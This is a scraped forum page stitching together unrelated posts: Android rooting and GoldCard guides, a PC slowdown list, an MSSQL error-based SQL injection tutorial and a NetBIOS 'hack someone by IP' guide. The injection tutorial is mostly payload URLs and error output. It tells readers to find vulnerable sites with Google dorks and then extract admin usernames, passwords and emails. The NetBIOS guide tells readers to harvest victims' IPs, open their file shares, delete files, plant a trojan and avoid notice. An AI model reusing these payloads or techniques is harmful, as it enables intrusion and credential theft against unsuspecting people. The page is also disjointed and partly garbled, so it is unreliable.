[TUT]Complete upgrading guide(root, unroot, flashing ROM & updates)

Here's a tutorial for the new users facing unanswered (at a first glance) questions while browsing through the tremendous amount of information that can be found.
There are many tutorials about this, but I will try to make one unique tutorial that will be easy to understand for everyone.

Press a THANKS button if you think that this TUT has helped you

IMPORTANT!
Before you proceed, you need to understand one thing: although these upgrades work in 99% of the cases, you are doing this at your own risk!
If you have any problems or question with rooting and flashing ROM's DO NOT open new thread, cause I will delete it, post everything here

Before we start, here is little Q&A section, so please READ this before opening new thread!
How to format and partition SD Card?
Read this
Is my desire already rooted?
- Check if you have superuser app in the app list all rooted phones have it
If I root a device which is already rooted, can it mess anything up?
- You can't mess anything up by re-rooting.
Will my phone get the OTA froyo update from HTC here in the US or do I have to do it manually?
- No OTA updates when rooted, to get them you will have to go back to stock to get the update(yepp unroot, or wait for devs to release rooted stock version)
What is S-OFF?
-HTC implemented security on their newer generation phones. This flag, called @secuflag, controls whether your phone has
it's NAND or flash unlocked. Most noticeably, S-ON (security on) will read-lock your /system and /recovery partition, to name a few. Also, secuflag controls whether zip files being flashed through recovery or fastboot, are signed by HTC. The now notorious S-OFF (security off) will disable this NAND security. Since we are unable to access the Radio NVRAM itself (where secuflag is stored), we turned our attention to HBOOT.
Here is How to S-OFF your HTC Desire
If you think I should add more questions and answers, send me a PM

*Unrooting, flashing ROM and updates is same for every device.

There are several methods of rooting device and one of the safest is using Tiny Core Linux(Live CD), since I had several problems using Windows(64-bit) I recommend this option, but if you are using 32-bit OS you should be fine rooting in Windows.

(TUT) Gold Card - For Android Phones

shakira15 — Sun, 20 Nov 2011 08:09:53 GMT

Gold Card - For Android Phones

This guide explains how to create a GoldCard. A GoldCard is a special SD card which, when inserted into your device, allows you to flash RUU files with a different CID to your own device. For example, if you own a T-Mobile branded device, this will allow you to flash a generic ROM.

Requirements

Spare microSD card
Windows PC (recommended)
ADB (part of the tools folder of the SDK, available for download here
HxD Hex Editor, available for download here

Step by step instructions

Format the microSD card to FAT32 format.
Put the microSD card in your device and boot it.
Ensure you have unzipped the SDK, then open a command prompt to the extract location. Change to the 'tools directory.
Enter 'adb shell cat /sys/class/mmc_host/mmc1/mmc1:*/cid' and press enter. You should get a very long number which looks like this: 532600bd227d9c0347329407514d5402.
Visit this page, paste in your number and reverse it. In our example the result would be 00544d5107943247039c7d22bd002653.
Visit this page, enter your reversed number and create your goldcard image, which will be e-mailed to you.
Open the HxD hex editor. If you are using Windows Vista or Windows 7, you must run the application as administrator.
Go to the 'Extra' menu and select 'Open Disk'. Under physical disk, select Removable Disk (your microSD card), uncheck 'Open as Readonly' and click OK. Note that you should select physical disk NOT the logical disk. This is important!
Go to the 'Extra' menu again and select 'Open Disk Image'. Open the goldcard image that you received by email.
You should now have two tabs - one is your removable disk, the other is your goldcard image. Press OK when prompted for 'Sector Size' (selecting 512 (Hard disks/Floppy disks)) and click OK.
Click on the goldcard image tab. Go to the 'Edit' menu, choose 'Select All' then select the 'Edit' menu again and select 'Copy'.
Click on the 'Removable Disk' tab. Highlight offset (line) 00000000 to offset (line) 00000170 (including the 00000170 line), then click on the 'Edit' menu and select 'Paste Write'.
Click on the 'File' menu and select 'Save', accepting the warning.

GoldCard Tool v0.0.5 [ Download ]

Requirements:

Latest HTC Sync software installed (HTC - Mobile Phones, Smartphones, Cell Phones, PDAs)
Spare microSD card

MSSQL - injection, method of attack! by PKHackeRz

shakira15 — Thu, 10 Nov 2011 07:50:41 GMT

MSSQL - injection, method of attack!
###########################

1.1 Introduction
1.2 How to ask Vulnerability page?
1.3 How to prove that the site of weakness?
1.4 How to find version / name of the DB?
1.5 How to discover the names table (table_name)?
1.6 How to discover the names of column (column_name)?
1.7 How to get data from tables that interest us (eg name, pass, email, etc.)?
1.8 Conclusion?

[1.1 Introduction]
############

This lesson will try to explain that you already know the different techniques, MSSQL-injection.
Who will have the opportunity to learn how this method is used as a favorite act to obtain information (name, password and login) or various other information through this technique.
MSSQL-injection, can be used for products that are created by well-known company Microsoft.
This type of injection, then deal with those sites that are coded in ASP / Aspks etc.

There are several types of attacks in this way:

* - Normal MSSQL SQL Injection attacks
* - MSSQL injection in Web services (SOAP injection)
* - Union with MSSQL injection attack
* - ODBC error attack the "Convert"
* - MSSQL Blind SQL Injection attacks, etc. ..

For this will be used for writing this type of attack:

"Attack of the ODBC error message" Convert "

[1.2 How to ask Vulnerability page? ]
############################

How to ask who Vulnerability page is easy. This can use Google services company giant.

Let's open: Google

I write, for example: inurl: "products". "ID"
inurl: "neus.asp" menu "
inurl: "content.asp" under "
inurl: "games.asp" ID "
ETC ....( I decided some examples, you can now use the logic, for better dorks)

[1.3 How to prove that the site of weakness? ]
##################################

So we can understand very easily by adding the following ID page of high comma (,).
And in case that gives us the answer we found no error page means Vulnerability example:

++++++++++++++++++++++++++++++++++++++
/ Microsoft Access ODBC driver /
++++++++++++++++++++++++++++++++++++++
/ Open quotation /
++++++++++++++++++++++++++++++++++++++
/ Microsoft Amos DB provider for Oracle /
++++++++++++++++++++++++++++++++++++++
/ Division by zero in /
++++++++++++++++++++++++++++++++++++++

These are some of the most common response is shown pages that are weaknesses in the MSSQL - injection.

Should now act as an example here, and where to put high ( ').

For example:

--------------------------------------
http://www.localhost.com/ / news.asp? id = 100 '
--------------------------------------

Now we can say that the error is displayed:

++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error '80040e14 '

Open quotation mark after the character string ") AND (Volgorde> 0) ORDER BY Volgorde '.

/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

This page has weaknesses!

[1.4 How to find version 2.4 / DB name? ]
############################

Let the example easier to understand:

Version:

-------------------------------------------------- ------------------
http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (@ @ version)) --
-------------------------------------------------- ------------------

And we have presented an example:

++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error '80040e07 '

Conversion failed when converting nvarchar value 'MS SQL Server 2008 (SP1) - 10.0.2531.0 (64) 29. March 2009 10:11:52 Copyright (c) 1988-2008 Microsoft Corporation Edition (64-bit), the operating systems Windows NT 6.0
/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++

Now go find DB_Name:

-------------------------------------------------- -------------------
http://www.localhost.com/ /news.asp? id = 100 + or +1 = convert (int (DB_Name ()))--
-------------------------------------------------- -------------------

eg.

++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error '80040e07 '

Conversion is not EVILZONE_CREW_DB when converting nvarchar value 'to data type int.

/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++

[1.5 How to discover the names table (table_name)]
######################################

Because it is discovered, or simply to find the side of the table goes through this method.

For example:

-------------------------------------------------- -------------------------------------------------- --------------
http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 table_name from information_schema.tables)) --
-------------------------------------------------- -------------------------------------------------- --------------

And now there will be a mistake, such as:

++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error '80040e07 '

Conversion is when converting nvarchar value of users' data on the type Int.

/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

That is, in this case the table (table_name) The first is the 'Users', now find the following table:

For example:

-------------------------------------------------- -------------------------------------------------- ------------------------------------------------
http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 table_name from table_name where information_schema.tables not ( 'Users')))--
-------------------------------------------------- -------------------------------------------------- ------------------------------------------------

And now an error message will appear the same and will give another table:

++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error '80040e07 '

Conversion is not news when converting nvarchar value 'to data type int.

/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

Another table in this case is 'news'

Now to find the table (table_name) third goes like this:

For example:

-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ---------
http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 table_name from table_name where information_schema.tables not ( 'Users',' news')))--
-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ---------

I appear to us the third table:

++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error '80040e07 '

Conversion is when converting nvarchar value categories' of data type int.

/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

Then the third table 'categories', and so on until you find all the tables.

For example:

-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ------------------
http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 table_name from table_name where information_schema.tables not ( 'Users', 'news', 'Categories'))) --
-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ------------------

[1.6 How to discover the names of column (column_name)]
###########################################

-If you want to column_name for users as' go:

For example:

-------------------------------------------------- -------------------------------------------------- -----------------------------------------
http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 column_name from information_schema.columns where table_name = 'users'))--
-------------------------------------------------- -------------------------------------------------- -----------------------------------------
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error '80040e07 '

Conversion failed when converting nvarchar value 'Name' to data type int.

/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

So colums name for the table (table_name) 'Users' the 'name'

Now find the column (column_name) other at the same table 'Users':

For example:

-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ------------------
http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 column_name from information_schema.columns where table_name = 'users' and column_name (' name')))--
-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- --------------------------
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error '80040e07 '

Conversion is not a password when converting nvarchar value 'to data type int.

/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

columnes name (column_name) the other is 'password', now go find a rotating column_name:

For example:

-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ------------------
http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 column_name from information_schema.columns where table_name = 'users' and column_name ( 'name', 'password'))) --
-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ---------------------------------------
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error '80040e07 '

Conversion failed when converting nvarchar value 'emailaddress' to data type int.

/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

Therefore, the third Colum_name 'emailaddress' and so on and on until the end, to find all of the columns (column_name)!

[1.7 How to get data that interest you (our user name, pass, email, etc.)]
################################################## ###

To do so you do not have anything to ndyshe we mentioned before.
In this section, all that needs to be done is to table (table_name), and the names of column (column_name) in their earlier results found.

In this section will be used:
Table_name = Users
Column_name = user name, password, emailaddress!

Some have now replaced the example:

-------------------------------------------------- -----------------------------------------
http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 name from Users)) --
-------------------------------------------------- -----------------------------------------
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error '80040e07 '

Conversion is not an administrator when converting nvarchar value 'to data type int.

/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

user name : Administrator

Replacing now the first column "Name" in the second column "password":

For example:

-------------------------------------------------- -----------------------------------------
http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top password from the user 1)) --
-------------------------------------------------- -----------------------------------------

++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error '80040e07 '

Conversion failed when converting nvarchar value '123456 'to data type int.

/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

password: administratorpassword123

Now, instead of rotating columns works the same as above:

For example:

-------------------------------------------------- ---------------------------------------------
http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 from users emailaddress)) --
-------------------------------------------------- ---------------------------------------------

emailaddress: hax_you_anytime@live.com

Here then we have achieved some info on, and the name / pass and emailaddress page.

user name: Administrator
password: administratorpassword123
emailaddress: hax_you_anytime@live.com

hacking ip using cmd by PKHacheRz

shakira15 — Thu, 10 Nov 2011 07:09:05 GMT

Hacking with CMD :D

HOw to hack someone with ther IP
Introduction
1. Welcome to the basic NETBIOS document created by aCId_rAIn. This document will teach you some simple things about NETBIOS, what it does, how to use it, how to hack with it, and some other simple DOS commands that will be useful to you in the future. THIS DOCUMENT IS FOR NEWBIEZ ONLY!!! If you are NOT a newbie then don't go any farther reading this because if you're smart enough you probably already know it all. So don't waste yourt time reading something that you already know.

1. Hardware and Firmware

1a. The BIOS
The BIOS, short for Basic Input/Output Services, is the control program of the PC. It is responsible for starting up your computer, transferring control of the system to your operating system, and for handling other low-level functions, such as disk access.
NOTE that the BIOS is not a software program, insofar as it is not purged from memory when you turn off the computer. It's
firmware, which is basically software on a chip. Posted Image
A convenient little feature that most BIOS manufacturers include is a startup password. This prevents access to the system until you enter the correct password.
If you can get access to the system after the password has been entered, then there are numerous software-based BIOS password extractors available from your local H/P/A/V site. Posted Image
NETBIOS/NBTSTAT - What does it do?

2. NETBIOS, also known as NBTSTAT is a program run on the Windows system and is used for identifying a remote network or computer for file sharing enabled. We can expoit systems using this method. It may be old but on home pc's sometimes it still works great. You can use it on your friend at home or something. I don't care what you do, but remember, that you are reading this document because you want to learn. So I am going to teach you. Ok. So, you ask, "How do i get to NBTSTAT?" Well, there are two ways, but one's faster.
Method 1:Start>Programs>MSDOS PROMPT>Type NBTSTAT
Method 2:Start>Run>Type Command>Type NBTSTAT
(Note: Please, help your poor soul if that isn't like feeding you with a baby spoon.)
Ok! Now since you're in the DOS command under NBTSTAT, you're probably wondering what all that crap is that's on your screen. These are the commands you may use. I'm only going to give you what you need to know since you are striving to be l33t. Your screen should look like the following:

NBTSTAT [ [-a RemoteName] [-A IP address] [-c] [-n]
[-r] [-R] [-RR] [-s] [-S] [interval] ]
-a (adapter status) Lists the remote machine's name table given its name
-A (Adapter status) Lists the remote machine's name table given its IP address.
-c (cache) Lists NBT's cache of remote [machine] names and their IP addresses
-n (names) Lists local NetBIOS names.
-r (resolved) Lists names resolved by broadcast and via WINS
-R (Reload) Purges and reloads the remote cache name table
-S (Sessions) Lists sessions table with the destination IP addresses
-s (sessions) Lists sessions table converting destination IP addresses to computer NETBIOS names.
-RR (ReleaseRefresh) Sends Name Release packets to WINS and then, starts Refresh
RemoteName Remote host machine name.
IP address Dotted decimal representation of the IP address.
interval Redisplays selected statistics, pausing interval seconds between each display. Press Ctrl+C to stop redisplaying
statistics.
C:\WINDOWS\DESKTOP>
The only two commands that are going to be used and here they are:
-a (adapter status) Lists the remote machine's name table given its name
-A (Adapter status) Lists the remote machine's name table given its IP address.
Host Names

3. Now, the -a means that you will type in the HOST NAME of the person's computer that you are trying to access. Just in case you don't have any idea what a Host Name looks like here's an example.
123-fgh-ppp.internet.com
there are many variations of these adresses. For each different address you see there is a new ISP assigned to that computer. look at the difference.
abc-123.internet.com
ghj-789.newnet.com
these are differnet host names as you can see, and, by identifying the last couple words you will be able to tell that these are two computers on two different ISPs. Now, here are two host names on the same ISP but a different located server.
123-fgh-ppp.internet.com
567-cde-ppp.internet.com
IP Addresses
4. You can resolce these host names if you want to the IP address (Internet Protocol)
IP addresses range in different numbers. An IP looks like this:
201.123.101.123
Most times you can tell if a computer is running on a cable connection because of the IP address's numbers. On faster connections, usually the first two numbers are low. here's a cable connection IP.
24.18.18.10
on dialup connections IP's are higher, like this:
208.148.255.255
notice the 208 is higher than the 24 which is the cable connection.
REMEMBER THOUGH, NOT ALL IP ADDRESSES WILL BE LIKE THIS.
Some companies make IP addresses like this to fool the hacker into believing it's a dialup, as a hacker would expect something big, like a T3 or an OC-18. Anyway This gives you an idea on IP addresses which you will be using on the nbtstat command.
Getting The IP Through DC (Direct Connection)
5. First. You're going to need to find his IP or host name. Either will work. If you are on mIRC You can get it by typing /whois (nick) ...where (nick) is the persons nickname without parenthesis. you will either get a host name or an IP. copy it down. If you do not get it or you are not using mIRC then you must direct connect to their computer or you may use a sniffer to figure out his IP or host name. It's actually better to do it without the sniffer because most sniffers do not work now-a-days. So you want to establish a direct connection to their computer. OK, what is a direct connection? When you are:
Sending a file to their computer you are directly connected.
AOL INSTANT MESSENGER allows a Direct Connection to the user if accepted.
ICQ when sending a file or a chat request acception allows a direct connection.
Any time you are sending a file. You are directly connected. (Assuming you know the user is not using a proxy server.)
Voice Chatting on Yahoo establishes a direct connection.
If you have none of these programs, either i suggest you get one, get a sniffer, or read this next statement.
If you have any way of sending thema link to your site that enables site traffic statistics, and you can log in, send a link to your site, then check the stats and get the IP of the last visitor. It's a simple and easy method i use. It even fool some smarter hackers, because it catches them off guard. Anyway, once you are directly
connected use either of the two methods i showed you earlier and get into DOS. Type NETSTAT -n. NETSTAT is a program that's name is short for NET STATISTICS. It will show you all computers connected to yours. (This is also helpful if you think you are being hacked by a trojan horse and is on a port that you know such as Sub Seven: 27374.) Your screen should look like this showing the connections to your computer:
------------------------------------------------------------------------------------------------
C:\WINDOWS\DESKTOP>netstat -n
Active Connections
Proto Local Address Foreign Address State
TCP 172.255.255.82:1027 205.188.68.46:13784 ESTABLISHED
TCP 172.255.255.82:1036 205.188.44.3:5190 ESTABLISHED
TCP 172.255.255.82:1621 24.131.30.75:66 CLOSE_WAIT
TCP 172.255.255.82:1413 205.188.8.7:26778 ESTABLISHED
TCP 172.255.255.82:1483 64.4.13.209:1863 ESTABLISHED
C:\WINDOWS\DESKTOP>
------------------------------------------------------------------------------------------------
The first line indicated the Protocol (language) that is being used by the two computers.
TCP (Transfer Control Protocol) is being used in this and is most widely used.
Local address shows your IP address, or the IP address of the system you on.
Foreign address shows the address of the computer connected to yours.
State tells you what kind of connection is being made ESTABLISHED - means it will stay connected to you as long as you are on the program or as long as the computer is allowing or is needing the other computers connection to it. CLOSE_WAIT means the connection closes at times and waits until it is needed or you resume connection to be made again. One that isn't on the list is TIME_WAIT which means it is timed. Most Ads that run on AOL are using TIME_WAIT states.
the way you know the person is directly connected to your computer is because of this:
------------------------------------------------------------------------------------------------
C:\WINDOWS\DESKTOP>netstat -n
Active Connections
Proto Local Address Foreign Address State
TCP 172.255.255.82:1027 205.188.68.46:13784 ESTABLISHED
TCP 172.255.255.82:1036 205.188.44.3:5190 ESTABLISHED
TCP 172.255.255.82:1621 24.131.30.75:66 CLOSE_WAIT
TCP 172.255.255.82:1413 abc-123-ppp.webnet.com ESTABLISHED
TCP 172.255.255.82:1483 64.4.13.209:1863 ESTABLISHED
C:\WINDOWS\DESKTOP>
------------------------------------------------------------------------------------------------
Notice the host name is included in the fourth line instead of the IP address on all. This is almost ALWAYS, the other computer that is connected to you. So here, now, you have the host name:
abc-123-ppp.webnet.com
If the host name is not listed and the IP is then it NO PROBLEM because either one works exactly the same. I am using abc-123-ppp.webnet.com host name as an example. Ok so now you have the IP and/or host name of the remote system you want to connect to. Time to hack!
Open up your DOS command. Open up NBTSTAT by typing NBTSTAT. Ok, there's the crap again. Well, now time to try out what you have leanred from this document by testing it on the IP and/or host name of the remote system. Here's the only thing you'll need to know.
IMPORTANT, READ NOW!!!
-a (adapter status) Lists the remote machine's name table given its name
-A (Adapter status) Lists the remote machine's name table given its IP address.
Remember this?
Time to use it.
-a will be the host name
-A will be the IP
How do i know this?
Read the Statements following the -a -A commands. It tells you there what each command takes.
So have you found which one you have to use?
GOOD!
Time to start.
Using it to your advantage
6. Type this if you have the host name only.
NBTSTAT -a (In here put in hostname without parenthesis)
Type this is you have the IP address only.
NBTSTAT -A (In here put in IP address without parenthesis)
Now, hit enter and wait. Now Either one of two things came up
1. Host not found
2. Something that looks like this:
--------------------------------------------
NetBIOS Local Name Table
Name Type Status
---------------------------------------------
GMVPS01 <00> UNIQUE Registered
WORKGROUP <00> GROUP Registered
GMVPS01 <03> UNIQUE Registered
GMVPS01 <20> UNIQUE Registered
WORKGROUP <1E> GROUP Registered
---------------------------------------------
If the computer responded "Host not found" Then either one of two things are the case:
1. You screwed up the host name.
2. The host is not hackable.
If number one is the case you're in great luck. If two, This system isn't hackable using the NBTSTAT command. So try another system.
If you got the table as above to come up, look at it carefully as i describe to you each part and its purpose.
Name - states the share name of that certain part of the computer
<00>, <03>, <20>, <1E> - Are the Hexidecimal codes giving you the services available on that share name.
Type - Is self-explanatory. It's either turned on, or activated by you, or always on.
Status - Simply states that the share name is working and is activated.
Look above and look for the following line:
GMVPS01 <20> UNIQUE Registered
See it?
GOOD! Now this is important so listen up. The Hexidecimanl code of <20> means that file sharing is enabled on the share name that is on that line with the hex number. So that means GMVPS01 has file sharing enabled. So now you want to hack this. Here's How to do it. (This is the hard part)
LMHOST File
7. There is a file in all Windows systems called LMHOST.sam. We need to simply add the IP into the LMHOST file because LMHOST basically acts as a network, automatically logging you on to it. So go to Start, Find, FIles or Folders. Type in LMHOST and hit enter. when it comes up open it using a text program such as wordpad, but make sure you do not leave the checkmark to "always open files with this extension" on that. Simply go through the LMHOST file until you see the part:
# This file is compatible with Microsoft LAN Manager 2.x TCP/IP lmhosts
# files and offers the following extensions:
#
# #PRE
# #DOM:
# #INCLUDE
# #BEGIN_ALTERNATE
# #END_ALTERNATE
# \0xnn (non-printing character support)
#
# Following any entry in the file with the characters "#PRE" will cause
# the entry to be preloaded into the name cache. By default, entries are
# not preloaded, but are parsed only after dynamic name resolution fails.
#
# Following an entry with the "#DOM:" tag will associate the
# entry with the domain specified by . This affects how the
# browser and logon services behave in TCP/IP environments. To preload
# the host name associated with #DOM entry, it is necessary to also add a
# #PRE to the line. The is always preloaded although it will not
# be shown when the name cache is viewed.
#
# Specifying "#INCLUDE " will force the RFC NetBIOS (NBT)
# software to seek the specified and parse it as if it were
# local. is generally a UNC-based name, allowing a

# centralized lmhosts file to be maintained on a server.
# It is ALWAYS necessary to provide a mapping for the IP address of the
# server prior to the #INCLUDE. This mapping must use the #PRE directive.
# In addtion the share "public" in the example below must be in the
# LanManServer list of "NullSessionShares" in order for client machines to
# be able to read the lmhosts file successfully. This key is under
# \machine\system\currentcontrolset\services\lanmans erver\parameters\nullsessionshares
# in the registry. Simply add "public" to the list found there.
#
# The #BEGIN_ and #END_ALTERNATE keywords allow multiple #INCLUDE
# statements to be grouped together. Any single successful include
# will cause the group to succeed.
#
# Finally, non-printing characters can be embedded in mappings by
# first surrounding the NetBIOS name in quotations, then using the
# \0xnn notation to specify a hex value for a non-printing character.
Read this over and over until you understand the way you want your connection to be set. Here's an example of how to add an IP the way I would do it:
#PRE #DOM:255.102.255.102 #INCLUDE
Pre will preload the connection as soon as you log on to the net. DOM is the domain or IP address of the host you are connecting to. INCLUDE will automaticall set you to that file path. In this case as soon as I log on to the net I will get access to 255.102.255.102 on the C:/ drive. The only problem with this is that by doin the NETSTAT command while you are connected, and get the IP of your machine. That's why it only works on simple PC machines. Because people in these days are computer illiterate and have no idea of what these commands can do. They have no idea what NETSTAT is, so you can use that to your advantage. Most PC systems are kind of hard to hack using this method now because they are more secure and can tell when another system is trying to gain access. Also, besure that you (somehow) know whether they are running a firewall or not because it will block the connection to their computer. Most home systems aren't running a firewall, and to make it better, they don't know how operate the firewall, therefore, leaving the hole in the system. To help you out some, it would be a great idea to pick up on some programming languages to show you how the computer reads information and learn some things on TCP/IP (Transfer Control Protocol/Internet Protocol) If you want to find out whether they are running a firewall, simply hop on a Proxy and do a port scan on their IP. You will notice if they are running a firewall because most ports are closed. Either way, you still have a better chance of hacking a home system than hacking Microsoft.
Gaining Access
7. Once you have added this to you LMHOST file. You are basically done. All you need to do is go to:
Start
Find
Computer
Once you get there you simply type the IP address or the host name of the system. When it comes up, simply double click it, and boom! There's a GUI for you so you don't have to use DOS anymore. You can use DOS to do it, but it's more simple and fun this way, so that's the only way i put it. When you open the system you can edit, delete, rename, do anything to any file you wish. I would also delete the command file in C:/ because they may use it if they think someone is in their computer. Or simply delete the shortcut to it. Then here's when the programming comes in handy. Instead of using the NBTSTAT method all the time, you can then program you own trojan on your OWN port number and upload it to the system. Then you will have easier access and you will also have a better GUI, with more features. DO NOT allow more than one connection to the system unless they are on a faster connection. If you are downloading something from their computer and they don't know it and their connection is being slow, they may check their NETSTAT to see what is connected, which will show your IP and make them suspicious. Thats it. All there is to it. Now go out and scan a network or something and find a computer with port 21 or something open

10 Reasons Why your Computer Freeze or becomes Slow

10 Reasons Why your Computer Freeze or becomes Slow

Computer has it's normal time to boot, start and stop a process,Log off, restart, turn off and other activity get done base on the computer clock speed or time of execution.There are a lot of factors why lately you will notice that your PC begin freezing, so slow to terminate a programs or while opening any apps.

Freezing or slowness of your computer indicates that there things need to be check and you must do it while you still have an access on your machine for fixing or backup your data before it's too late.

Apparently,there would be a situation that while your computer freeze you can still fire-up a process but unable to terminate it or you can't move the mouse around but the shortcut keys are still working.There are three factors influencing this problem in general;it could be the hardware, software and human error.
Just read some points below and might help you someday on your situation.

10 Reasons Why your Computer Freeze or Slow

1. Slow Computer due to Old and Bad Hard Disk - like human being when getting old Hard Disk becomes weak and fragile due to various reasons. Hard Disk failure cannot be notice easily without symptoms and it's dangerous to occur unattended. Maybe someday your computer freeze and you hear a clicking sound in several times then, probably you've got a bad hard disk due to Head Crash. It's better to turn off your computer and do not attempt to boot it again without backups of your data. The more you boot on the Bad Hard Disk the more risk of losing your data. It’s better to consult on experts with data recovery or try hooking up the data at your own risk. There are Hard Disk Diagnostic Tools that may help you to check your Hard Disk health and repair guides to lengthen its life.

2. Freezing due to Resolution Problem - Every computer has its own video card capable for displaying computer graphics. However, computers that have a built-in video card have lesser power to display programs that requires higher resolution to play.
If you are incline of playing some heavy computers games that requires much screen resolution then, your PC will freeze.

My friend ask me why his computer freeze and the screen get pixilated when he runs Warcraft 3 or
Dota and when I check his computer I found out that it didn't meet the minimum requirement that’s why he encounters that problem.

Computers that are using a built in Graphics Card cannot sustain running huge application that has a higher resolution requirment it's better to check properly the minimum system requirement of the software to avoid expecting out of nothing or upgrade your video card to enjoy more valuable programs.

3.Low RAM and HD Memory- Computers that has a Low memory are likely prone to freezing and slow to run programs.

RAM is like a human IQ, if sharp it can process more actions at a time. Meaning a little RAM is not productive and reliable always.

Big hard disk memory (referring to space) is an advantage because you can store more data in your computer but once it's full, like after you eat probably you're getting difficulties in moving

Compressing data or defragging your Hard disk frequently is a good practice to maintain. You can delete unnecessary files to save space and Keep your files in a proper place is hard task to make your light without freezing.

***If you plan to maximize your computer performance you can upgrade it's RAM and HD memory as well.***

4. Slaving a External or Internal Drives - This is not frequently happening but computer geek like me had experience slaving internal or external drives will sometimes make your computer freeze or slow.

I have observed that your computer speed can be affected by your Slave Drive whether it's SATA or IDE.
Maybe it can be cause by the following:
1. Power supplied was split or shared to the Slave Drive (insufficient power distribution)
2. Faulty Cables ( Power Cord, Bus Lines)
3. Wrong Slaving Setup & Configuration
4. Incompatible Storage / Hardware (Hard Disk)
5. Bad Slave Drive
Frequently, while I have my slave drive my audio performance is affected the sound is waving or distorted in tone.
***Try restarting your system if you encounter slowness or remove the external drive and plug it again until it will run normally.***

5. Virus Problem- This is the top cause why your PC becomes slow despite of any hardware or software problems.

Primarily virus programs are created just to penetrate, infect and destroy computer systems. However, computer viruses has different characteristics and attacking methods. There are viruses designs to infect the Registry, Boot Sector, System Files, Replicating / Deleting Files, Disable BIOS and so on. But Commonly the goal of the computer virus is to sabotage your system, make it slow, and unusable gradually or suddenly.
***There are a lot of tools will help you to protect your computer against threats but everything will matters on your knowledge***

6. CPU Temperature -is a rare factor but a noticeable cause also of slow PC. Overheating CPU's becomes weak to process your request and may leads to system failure. Normal CPU temperature is from 30c to 50c while increasing until 100 degrees is very dangerous to happen. If you experience slow desktop movement and frequent blue screen check your CPU temperature using HW Monitor especially if your environment is not well ventilated.

7. Corrupt Registry Files or System Filesdll files like Tune Up 2009, DLL Fixer,etc.

8. Pirated Operating System - Note, Original and Legal software’s are really different in terms of performance against the pirated one.
If you are aware, Microsoft validate your Windows copy by using the Windows Genuine Advantage( WGA) tool to determine whether your OS is license or pirated one. Once Microsoft find out that your OS is a pirated copy, a WGA message will display in your screen at the right bottom part of your screen says" You are a victim of software counterfeiting! and while you are booting up a Resolve now or Late dialog will always prompt you.

Some pirated operating system contains viruses that if you're not aware when you install it in your machine those stuffs are getting into your files and destroy your system gradually. Tweaked versions are not all safe to use especially if you're a noob user. Original copy stills the best of all for reliability system performance.

Yes, I know you can remove WGA but still Microsoft will eye in your OS.lol....
***WGA gradually makes your computer slow until your windows copy will be block****

